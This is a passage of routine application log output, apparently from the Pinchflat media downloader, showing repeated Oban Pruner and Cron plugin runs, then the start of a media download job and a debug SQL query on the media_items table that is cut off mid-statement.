16:47:16.601 [info] {"source":"oban","duration":1715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:47:46.605 [info] {"source":"oban","duration":2236,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:48:00.865 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:48:16.612 [info] {"source":"oban","duration":2444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:48:46.616 [info] {"source":"oban","duration":1892,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:49:00.868 [info] {"source":"oban","duration":1202,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:49:16.621 [info] {"source":"oban","duration":3156,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:49:46.625 [info] {"source":"oban","duration":2149,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:00.871 [info] {"source":"oban","duration":815,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:50:16.630 [info] {"source":"oban","duration":2811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:46.637 [info] {"source":"oban","duration":2559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:00.873 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:51:16.641 [info] {"source":"oban","duration":1662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:46.645 [info] {"source":"oban","duration":2413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:00.875 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:52:16.650 [info] {"source":"oban","duration":2830,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:46.657 [info] {"source":"oban","duration":1995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:00.878 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:53:16.665 [info] {"source":"oban","duration":5244,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:46.674 [info] {"source":"oban","duration":2755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:00.880 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:54:16.679 [info] {"source":"oban","duration":2835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:46.683 [info] {"source":"oban","duration":2225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:00.883 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:55:16.688 [info] {"source":"oban","duration":2696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:46.700 [info] {"source":"oban","duration":2174,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:00.887 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:56:16.706 [info] {"source":"oban","duration":5007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:46.719 [info] {"source":"oban","duration":2302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:57:00.900 [info] {"source":"oban","duration":1140,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:57:16.725 [info] {"source":"oban","duration":3030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:57:46.730 [info] {"source":"oban","duration":2537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:00.902 [info] {"source":"oban","duration":250,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:58:16.734 [info] {"source":"oban","duration":2285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:46.738 [info] {"source":"oban","duration":1805,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:00.911 [info] {"source":"oban","duration":498,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:59:16.744 [info] {"source":"oban","duration":3846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:46.758 [info] {"source":"oban","duration":2846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:00:00.915 [info] {"source":"oban","duration":841,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:00:16.769 [info] {"source":"oban","duration":3688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:00:46.774 [info] {"source":"oban","duration":2661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:00.919 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:01:16.779 [info] {"source":"oban","duration":2974,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:46.783 [info] {"source":"oban","duration":2407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:00.923 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:02:16.789 [info] {"source":"oban","duration":4142,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:46.801 [info] {"source":"oban","duration":2600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:00.927 [info] {"source":"oban","duration":2027,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:03:16.805 [info] {"source":"oban","duration":3044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:46.813 [info] {"source":"oban","duration":2726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:00.932 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:04:16.819 [info] {"source":"oban","duration":3341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:46.826 [info] {"source":"oban","duration":2334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:00.933 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:05:16.831 [info] {"source":"oban","duration":2696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:46.834 [info] {"source":"oban","duration":1927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:00.940 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:06:16.841 [info] {"source":"oban","duration":3198,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:46.853 [info] {"source":"oban","duration":1957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:00.945 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:07:16.860 [info] {"source":"oban","duration":3426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:46.867 [info] {"source":"oban","duration":4984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:00.950 [info] {"source":"oban","duration":1075,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:08:16.875 [info] {"source":"oban","duration":2436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:46.879 [info] {"source":"oban","duration":2432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:00.952 [info] {"source":"oban","duration":1138,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:09:16.884 [info] {"source":"oban","duration":3422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:46.892 [info] {"source":"oban","duration":3130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:00.964 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:10:16.897 [info] {"source":"oban","duration":3795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:46.902 [info] {"source":"oban","duration":2101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:00.967 [info] {"source":"oban","duration":1034,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:11:16.907 [info] {"source":"oban","duration":3118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:46.915 [info] {"source":"oban","duration":2187,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:00.977 [info] {"source":"oban","duration":991,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:12:16.920 [info] {"source":"oban","duration":2017,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:46.926 [info] {"source":"oban","duration":2835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:00.981 [info] {"source":"oban","duration":1988,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:13:16.932 [info] {"source":"oban","duration":3765,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:46.937 [info] {"source":"oban","duration":3016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:00.983 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:14:16.943 [info] {"source":"oban","duration":3153,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:46.951 [info] {"source":"oban","duration":2031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:00.988 [info] {"source":"oban","duration":472,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:15:16.955 [info] {"source":"oban","duration":2734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:46.958 [info] {"source":"oban","duration":1757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:00.991 [info] {"source":"oban","duration":950,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:16:16.963 [info] {"source":"oban","duration":2348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:46.967 [info] {"source":"oban","duration":2206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:00.996 [info] {"source":"oban","duration":557,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:17:16.971 [info] {"source":"oban","duration":2773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:46.974 [info] {"source":"oban","duration":1599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:00.998 [info] {"source":"oban","duration":891,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:18:16.978 [info] {"source":"oban","duration":2968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:46.982 [info] {"source":"oban","duration":2487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:01.001 [info] {"source":"oban","duration":1018,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:19:16.993 [info] {"source":"oban","duration":3344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:47.007 [info] {"source":"oban","duration":3977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:00.004 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:20:17.010 [info] {"source":"oban","duration":2254,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:47.017 [info] {"source":"oban","duration":2646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:00.007 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:21:17.022 [info] {"source":"oban","duration":2275,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:47.029 [info] {"source":"oban","duration":2538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:00.010 [info] {"source":"oban","duration":1049,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:22:17.034 [info] {"source":"oban","duration":2582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:47.038 [info] {"source":"oban","duration":2051,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:00.017 [info] {"source":"oban","duration":4428,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:23:17.045 [info] {"source":"oban","duration":1584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:47.048 [info] {"source":"oban","duration":1924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:00.019 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:24:17.052 [info] {"source":"oban","duration":3097,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:47.059 [info] {"source":"oban","duration":3005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:00.021 [info] {"source":"oban","duration":954,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:25:17.063 [info] {"source":"oban","duration":3165,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:47.070 [info] {"source":"oban","duration":2446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:00.024 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:26:17.076 [info] {"source":"oban","duration":2462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:47.084 [info] {"source":"oban","duration":3413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:00.026 [info] {"source":"oban","duration":461,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:27:17.089 [info] {"source":"oban","duration":3629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:47.105 [info] {"source":"oban","duration":5357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:00.029 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:28:17.111 [info] {"source":"oban","duration":2556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:47.116 [info] {"source":"oban","duration":3177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:00.032 [info] {"source":"oban","duration":452,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:29:17.121 [info] {"source":"oban","duration":2933,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:47.130 [info] {"source":"oban","duration":3514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:00.039 [info] {"source":"oban","duration":3901,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:30:17.135 [info] {"source":"oban","duration":2352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:47.149 [info] {"source":"oban","duration":3657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:00.042 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:31:17.156 [info] {"source":"oban","duration":5396,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:47.162 [info] {"source":"oban","duration":2420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:00.044 [info] {"source":"oban","duration":490,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:32:17.167 [info] {"source":"oban","duration":3760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:47.174 [info] {"source":"oban","duration":2971,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:00.052 [info] {"source":"oban","duration":5037,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:33:17.181 [info] {"source":"oban","duration":3418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:47.190 [info] {"source":"oban","duration":3070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:00.062 [info] {"source":"oban","duration":524,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:34:17.203 [info] {"source":"oban","duration":3810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:47.208 [info] {"source":"oban","duration":3167,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:00.066 [info] {"source":"oban","duration":566,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:35:17.225 [info] {"source":"oban","duration":7089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:47.239 [info] {"source":"oban","duration":2660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:00.070 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:36:17.252 [info] {"source":"oban","duration":3056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:47.258 [info] {"source":"oban","duration":1749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:00.071 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:37:17.263 [info] {"source":"oban","duration":3502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:47.268 [info] {"source":"oban","duration":3383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:00.083 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:38:17.272 [info] {"source":"oban","duration":1681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:47.293 [info] {"source":"oban","duration":17732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:00.085 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:39:17.298 [info] {"source":"oban","duration":3119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:47.311 [info] {"source":"oban","duration":1756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:00.093 [info] {"source":"oban","duration":5666,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:40:17.316 [info] {"source":"oban","duration":3212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:47.321 [info] {"source":"oban","duration":2761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:00.100 [info] {"source":"oban","duration":483,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:41:17.327 [info] {"source":"oban","duration":3076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:47.332 [info] {"source":"oban","duration":3036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:00.108 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:42:17.339 [info] {"source":"oban","duration":3055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:47.342 [info] {"source":"oban","duration":1381,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:00.110 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:43:17.348 [info] {"source":"oban","duration":2947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:47.359 [info] {"source":"oban","duration":1860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:00.111 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:44:17.363 [info] {"source":"oban","duration":2861,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:47.372 [info] {"source":"oban","duration":2793,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:00.116 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:45:17.376 [info] {"source":"oban","duration":2869,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:47.380 [info] {"source":"oban","duration":2569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:00.120 [info] {"source":"oban","duration":483,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:46:17.385 [info] {"source":"oban","duration":2708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:47.387 [info] {"source":"oban","duration":1792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:47:00.123 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:47:17.398 [info] {"source":"oban","duration":2193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:47:47.407 [info] {"source":"oban","duration":2332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:00.128 [info] {"source":"oban","duration":2249,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:48:17.416 [info] {"source":"oban","duration":2279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:47.420 [info] {"source":"oban","duration":2444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:00.136 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:49:17.429 [info] {"source":"oban","duration":1832,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:47.435 [info] {"source":"oban","duration":2510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:00.138 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:50:17.449 [info] {"source":"oban","duration":3076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:47.458 [info] {"source":"oban","duration":2172,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:00.143 [info] {"source":"oban","duration":446,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:51:17.463 [info] {"source":"oban","duration":1761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:47.468 [info] {"source":"oban","duration":1910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:00.147 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:52:17.472 [info] {"source":"oban","duration":2384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:47.475 [info] {"source":"oban","duration":2097,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:00.152 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:53:17.488 [info] {"source":"oban","duration":2414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:47.491 [info] {"source":"oban","duration":2050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:00.161 [info] {"source":"oban","duration":472,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:54:17.498 [info] {"source":"oban","duration":2203,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:47.502 [info] {"source":"oban","duration":1754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:00.164 [info] {"source":"oban","duration":491,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:55:17.506 [info] {"source":"oban","duration":1985,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:47.509 [info] {"source":"oban","duration":2129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:00.167 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:56:17.512 [info] {"source":"oban","duration":1931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:47.518 [info] {"source":"oban","duration":3028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:00.177 [info] {"source":"oban","duration":442,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:57:17.531 [info] {"source":"oban","duration":2794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:47.536 [info] {"source":"oban","duration":2689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:58:00.182 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:58:17.545 [info] {"source":"oban","duration":3092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:58:47.549 [info] {"source":"oban","duration":1885,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:00.194 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:59:17.553 [info] {"source":"oban","duration":3411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:47.564 [info] {"source":"oban","duration":3323,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:00.195 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:00:17.577 [info] {"source":"oban","duration":4960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:47.582 [info] {"source":"oban","duration":2656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:00.197 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:01:17.587 [info] {"source":"oban","duration":1340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:47.592 [info] {"source":"oban","duration":2373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:00.201 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:02:17.596 [info] {"source":"oban","duration":2301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:47.601 [info] {"source":"oban","duration":3159,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:00.205 [info] {"source":"oban","duration":817,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:03:17.605 [info] {"source":"oban","duration":2495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:47.610 [info] {"source":"oban","duration":2772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:00.208 [info] {"source":"oban","duration":941,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:04:09.472 [info] {"args":{"id":14408},"id":2349,"meta":{},"system_time":1788422649472140813,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":14,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:04:09.482 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=44.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", 